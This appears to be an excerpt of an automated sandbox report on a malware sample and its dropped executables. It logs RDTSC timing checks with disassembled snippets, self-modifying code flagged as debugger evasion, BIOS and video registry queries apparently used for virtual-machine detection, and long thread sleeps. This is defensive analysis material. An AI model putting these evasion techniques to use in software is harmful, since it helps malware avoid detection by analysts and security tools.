Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF09BF second address: 4CF0A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [76FA6968h], 00000002h 0x0000000f pushad 0x00000010 mov ebx, 2CBBED18h 0x00000015 mov di, C2C4h 0x00000019 popad 0x0000001a jne 00007F485716C983h 0x00000020 jmp 00007F47E4F46FB3h 0x00000025 mov edx, dword ptr [ebp+0Ch] 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F47E4F46FB4h 0x0000002f adc ecx, 0F880EA8h 0x00000035 jmp 00007F47E4F46FABh 0x0000003a popfd 0x0000003b pushfd 0x0000003c jmp 00007F47E4F46FB8h 0x00000041 jmp 00007F47E4F46FB5h 0x00000046 popfd 0x00000047 popad 0x00000048 xchg eax, ebx 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007F47E4F46FB3h 0x00000052 xor si, 19FEh 0x00000057 jmp 00007F47E4F46FB9h 0x0000005c popfd 0x0000005d push ecx 0x0000005e pop ebx 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0A87 second address: 4CF0AD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F47E55EA441h 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F47E55EA43Eh 0x00000015 xchg eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F47E55EA447h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0AD3 second address: 4CF0B26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F47E4F46FAFh 0x00000008 pushfd 0x00000009 jmp 00007F47E4F46FB8h 0x0000000e sbb ax, 8018h 0x00000013 jmp 00007F47E4F46FABh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e mov ecx, edi 0x00000020 mov edi, 71583B06h 0x00000025 popad 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov di, cx 0x0000002d mov edi, eax 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0BA2 second address: 4CF0C07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA449h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F47E55EA43Eh 0x0000000f pop ebx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F47E55EA43Eh 0x00000017 sub eax, 00954E58h 0x0000001d jmp 00007F47E55EA43Bh 0x00000022 popfd 0x00000023 mov ch, 87h 0x00000025 popad 0x00000026 mov esp, ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F47E55EA43Dh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0C07 second address: 4CF0C1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0C1C second address: 4CF0C2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E55EA43Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0C2C second address: 4CF0C52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F47E4F46FB9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0C52 second address: 4CF0C67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA441h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0C67 second address: 4CF0C77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E4F46FACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00CB0 second address: 4D00CB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00CB4 second address: 4D00CB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00CB8 second address: 4D00CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00CBE second address: 4D00CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00CC4 second address: 4D00CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00CC8 second address: 4D00CEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F47E4F46FB8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00CEB second address: 4D00D04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, si 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00D04 second address: 4D00D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00D0A second address: 4D00D0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00D0E second address: 4D00D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F47E4F46FB7h 0x00000011 adc ecx, 071D058Eh 0x00000017 jmp 00007F47E4F46FB9h 0x0000001c popfd 0x0000001d mov ebx, esi 0x0000001f popad 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov cl, bl 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00D5C second address: 4D00D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00D61 second address: 4D00D6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E4F46FAAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80742 second address: 4D80769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, ax 0x00000007 popad 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F47E55EA448h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80769 second address: 4D8076D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8076D second address: 4D80773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7092E second address: 4D70934 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70934 second address: 4D7096D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA444h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 jmp 00007F47E55EA449h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7096D second address: 4D70973 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70973 second address: 4D70977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70977 second address: 4D709B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov di, 204Ah 0x00000011 mov ecx, edx 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F47E4F46FB8h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D709B4 second address: 4D709C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E55EA43Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D707D7 second address: 4D707DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D707DD second address: 4D7081C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov al, 77h 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F47E55EA43Fh 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F47E55EA445h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7081C second address: 4D70861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 7B32h 0x00000007 mov ecx, edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f mov cx, bx 0x00000012 pushad 0x00000013 movsx edx, si 0x00000016 mov esi, 225F1165h 0x0000001b popad 0x0000001c popad 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F47E4F46FADh 0x00000027 and al, FFFFFFB6h 0x0000002a jmp 00007F47E4F46FB1h 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70BA8 second address: 4D70BAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70BAC second address: 4D70BB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70BB2 second address: 4D70BF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 8D73h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e call 00007F47E55EA445h 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007F47E55EA43Ah 0x0000001c sub ax, 5BA8h 0x00000021 jmp 00007F47E55EA43Bh 0x00000026 popfd 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70BF4 second address: 4D70C61 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 2A5C529Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F47E4F46FB7h 0x00000014 sbb si, A99Eh 0x00000019 jmp 00007F47E4F46FB9h 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F47E4F46FB0h 0x00000025 jmp 00007F47E4F46FB5h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70C61 second address: 4D70CCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F47E55EA447h 0x00000009 sbb ax, 610Eh 0x0000000e jmp 00007F47E55EA449h 0x00000013 popfd 0x00000014 mov bl, cl 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c mov ebx, 3D937788h 0x00000021 popad 0x00000022 push dword ptr [ebp+0Ch] 0x00000025 jmp 00007F47E55EA447h 0x0000002a push dword ptr [ebp+08h] 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 pop ebx 0x00000032 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B5EB5C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B5EAAE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D01022 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D85FAD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 65EB5C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 65EAAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 801022 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 885FAD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Special instruction interceptor: First address: 207AE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Special instruction interceptor: First address: 2079DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Special instruction interceptor: First address: 3D3978 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Special instruction interceptor: First address: 43D48B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Special instruction interceptor: First address: 9BDBE5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Special instruction interceptor: First address: 9BDB06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Special instruction interceptor: First address: B685C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Special instruction interceptor: First address: B8F7FB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Special instruction interceptor: First address: B736E0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Special instruction interceptor: First address: BF641B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Special instruction interceptor: First address: A62B0B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Special instruction interceptor: First address: C8CEE1 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Memory allocated: D60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Memory allocated: 2510000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Memory allocated: 4510000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04D70BD5 rdtsc

0_2_04D70BD5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5189
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2686
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6457
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 901
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Window / User API: threadDelayed 2896
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Window / User API: threadDelayed 5420
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7008
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2718
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6993
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2727

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

API coverage: 5.2 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5908	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5908	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3304	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3304	Thread sleep time: -82041s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 408	Thread sleep count: 276 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 408	Thread sleep time: -8280000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6580	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6580	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4400	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5384	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5320	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5320	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6208	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 408	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3376	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3008	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 616	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6548	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe TID: 6664	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe TID: 6664	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -31359464925306218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -99875s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -99764s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -99656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -99546s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -99437s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -99328s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -99218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -99109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -98999s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -98890s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -98779s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -98671s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -98562s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -98453s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -98342s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -98234s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -98122s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -98012s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -97870s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -97454s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -97338s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -97218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -97109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -96999s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -96890s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -96781s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -96660s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -96543s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -96421s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -96222s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -96098s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -95967s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -95859s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -95749s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -95640s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -95531s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -95421s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -95298s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -95171s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -95062s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe TID: 1620	Thread sleep time: -94950s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3892	Thread sleep count: 7008 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1680	Thread sleep count: 2718 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3652	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1468	Thread sleep count: 6993 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6168	Thread sleep time: -4611686018427385s >= -30000s
